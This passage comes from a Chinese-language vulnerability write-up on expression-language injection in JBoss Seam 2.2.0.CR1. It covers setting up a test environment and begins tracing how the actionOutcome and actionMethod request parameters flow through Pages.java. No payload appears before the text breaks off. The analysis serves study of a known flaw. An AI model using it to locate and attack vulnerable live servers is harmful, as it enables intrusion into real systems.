rgb(255, 255, 255);">本文中利用点为：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/seam-booking/home.seam</code></p><p><span name="menu_index_11" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h4 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、案例搭建</h4><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">环境需求：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">Ubuntu 18.04</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">jdk 1.6</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">ant 1.6</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">JBoss AS 5.0.1</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">JBoss-seam 2.2.0.CR1</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">首先安装 jdk1.6，配置环境变量：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">chmod u+x /usr/lib/jvm/java/jdk-6u45-linux-x64.bin</code> 为文件添加可执行权限</p></li><li style="box-sizing: border-box;"><p><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">./jdk-6u45-linux-x64.bin</code>执行解压文件</p></li><li style="box-sizing: border-box;"><p><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">mkdir -p /usr/lib/jvm/</code> 创建 jdk 存放文件夹</p></li><li style="box-sizing: border-box;"><p><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">cp -r jdk1.6.0_45 /usr/lib/jvm/</code>将解压后的jdk文件放到刚才创建的文件夹中</p></li><li style="box-sizing: border-box;"><p>安装<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">java/javac/javaws/jar</code>命令</p></li></ul><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk1.6.0_45/bin/javac 1<br/>update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.6.0_45/bin/java 1<br/>update-alternatives --install /usr/bin/javaws javaws /usr/lib/jvm/jdk1.6.0_45/bin/javaws 1<br/>update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk1.6.0_45/bin/jar 1<br/>update-alternatives --config javac<br/>update-alternatives --config java<br/>update-alternatives --config javaws<br/>update-alternatives --config jar</code></pre><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>执行<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">java -version</code>命令，若出现版本信息，则安装成功</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">配置 ant 1.6环境：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>首先打开 profile 文件<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">sudo vim /etc/profile</code></p></li><li style="box-sizing: border-box;"><p>在文件尾部添加以下内容：</p></li></ul><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: inherit;word-break: normal;"># 存放 ant 的目录路径<br/>export ANT_HOME=/home/panda/www/ant<br/># 刚才安装的 jdk 目录路径<br/>export JAVA_HOME=/usr/lib/jvm<br/># 下面默认<br/>export PATH=$JAVA_HOME/bin:$PATH:$ANT_HOME/bin<br/>export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">上述环境变量配置完毕后，执行命令<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">source /etc/profile</code>刷新环境变量</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">配置 JBoss AS 5.0.1：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>解压<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">jboss-5.0.1.GA.zip</code></p></li><li style="box-sizing: border-box;"><p>打开<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/server/default/deploy/jbossweb.sar/server.xml</code>文件，搜索<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">${jboss.bind.address}</code>，将其改为<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">0.0.0.0</code>，如下所示：</p></li></ul><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">&lt;!-- A HTTP/1.1 Connector on port 8080 --&gt;</span><br/>      <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">Connector</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">protocol</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;HTTP/1.1&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">port</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;8080&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">address</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;0.0.0.0&#34;</span> <br/>               <span style="box-sizing: border-box;color: rgb(129, 162, 190);">connectionTimeout</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;20000&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">redirectPort</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;8443&#34;</span> /&gt;</span><br/>      <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">&lt;!-- Add this option to the connector to avoid problems with <br/>          .NET clients that don&#39;t implement HTTP/1.1 correctly <br/>         restrictedUserAgents=&#34;^.*MS Web Services Client Protocol 1.1.4322.*$&#34;<br/>      --&gt;</span><br/>      <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">&lt;!-- A AJP 1.3 Connector on port 8009 --&gt;</span><br/>      <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">Connector</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">protocol</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;AJP/1.3&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">port</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;8009&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">address</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;0.0.0.0&#34;</span><br/>         <span style="box-sizing: border-box;color: rgb(129, 162, 190);">redirectPort</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;8443&#34;</span> /&gt;</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">安装<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">JBoss-seam 2.2.0.CR1</code>：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>解压<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">JBoss-seam 2.2.0.CR1.zip</code></p></li><li style="box-sizing: border-box;"><p>将解压后的文件放在jboss 目录下，如下图所示：</p></li></ul><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4557522123893805" data-s="300,640" style="" data-type="png" data-w="1356" src="https://wechat2rss.xlab.app/img-proxy/?k=e1ed929a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1apfSrrAlYRN23SbwjBPl14XQFr5ut6TUukqICmWZUbUYW0qOJSN3Vg%2F640%3Fwx_fmt%3Dpng"/></p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>进入<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/jboss-seam</code>目录，编辑<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">build.properties</code>文件，在文件尾行加入以下代码：</p></li></ul><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;"># 该路径为 Jboss 的安装目录路径</span><br/><span style="box-sizing: border-box;color: rgb(129, 162, 190);">jboss</span>.home /home/panda/www/jboss</code></pre><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>进入<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">jboss-seam/examples/booking</code>目录，然后执行安装命令：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">ant deploy</code>，程序会自动安装，如下图所示：</p></li></ul><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5525321239606954" data-s="300,640" style="" data-type="png" data-w="2646" src="https://wechat2rss.xlab.app/img-proxy/?k=68a509f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB19kN35jfcllhZ1BFupYJrHpuxiaq5hqhWLwCzCsrUED7r0OQm2C8UWRQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">安装完毕后在进入jboss 安装的根目录下的<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">bin</code>文件，执行<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">./run.sh</code>命令，如下图所示：<br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5124269005847953" data-s="300,640" style="" data-type="png" data-w="2736" src="https://wechat2rss.xlab.app/img-proxy/?k=4e01aba5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB13e8X1LVCksUQ263z9CwqSTwprKsjiaR43wbJXjVZCoIltvMJXKYbtXA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">安装完毕后，在本机环境即可打开该站点，如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4934354485776805" data-s="300,640" style="" data-type="png" data-w="1828" src="https://wechat2rss.xlab.app/img-proxy/?k=16b81c5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1EGvOqPn9onCxMau8bG3DibmHHHwdMZHfFddzwhCC3ib0UWOQRIwIa6vw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6850828729281768" data-s="300,640" style="" data-type="png" data-w="2172" src="https://wechat2rss.xlab.app/img-proxy/?k=711212a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1fN75MiarTPQKYdRKNY1qAB69OfqfP2hXW3drDZZic8aVEdlHH1qjHSQA%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_12" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h4 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3、案例漏洞分析</h4><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">本案例漏洞的原因是因为JBoss EL表达式解析的问题导致了表达式注入。漏洞文件为：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">jboss-seam/examples/booking/exploded-archives/jboss-seam-booking.ear/jboss-seam.jar</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">反编译后可以得到源码，目录如下：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6188340807174888" data-s="300,640" style="" data-type="png" data-w="2676" src="https://wechat2rss.xlab.app/img-proxy/?k=57084965&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB18ZvXH6GcTn72aUtpV5icaiaicffyUNozPliaHalics5N67Mcickiafn3GNKbw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">在本目录下的/navigation/Pages.java 文件是漏洞的入口，关键代码如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">private</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">boolean</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">callAction</span><span style="box-sizing: border-box;">(FacesContext facesContext)</span> </span>{<br/>     <span style="box-sizing: border-box;color: rgb(204, 153, 204);">boolean</span> result = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">false</span>;   <br/>  <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 获取 HTTP 参数 actionOutcome 的值</span><br/>     String outcome = (String)facesContext.getExternalContext().getRequestParameterMap().get(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;actionOutcome&#34;</span>);<br/>     String fromAction = outcome;   <br/>     <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (outcome == <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>) {<br/>       <br/>          <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 获取 HTTP 参数 actionMethod 的值</span><br/>         String actionId = (String)facesContext.getExternalContext().getRequestParameterMap().get(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;actionMethod&#34;</span>);      <br/>     <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (actionId != <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>) {<br/>       <br/>                    <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (!SafeActions.instance().isActionSafe(actionId)) <br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> result; <br/>                    String expression = SafeActions.toAction(actionId);<br/>                    result = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">true</span>;<br/>                    Expressions.MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);<br/>                    outcome = toString(actionExpression.invoke(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> Object[<span style="box-sizing: border-box;color: rgb(249, 145, 87);">0</span>]));<br/>               fromAction = expression;<br/>                    handleOutcome(facesContext, outcome, fromAction);<br/>           }  <br/>       <br/>     } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">else</span> {       <br/>       handleOutcome(facesContext, outcome, fromAction);<br/>    } <br/>      <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> result;<br/>  }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">获取参数，其中如果获取到 actionOutcome 参数，那么直接传入<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;"> handleOutcome</code> 函数中：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// handleOutcome 方法</span><br/><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">handleOutcome</span><span style="box-sizing: border-box;">(FacesContext facesContext, String outcome, String fromAction)</span> </span>{<br/>     facesContext.getApplication().getNavigationHandler().handleNavigation(facesContext, fromAction, outcome); <br/>     Contexts.getPageContext().flush();<br/>   }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">直接调用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">facesContext.getApplication().getNavigationHandler().handleNavigation()</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这句其实等价于我们常见的语句：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">FacesContext.getCurrentInstance().getExternalContext().redirect()</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang 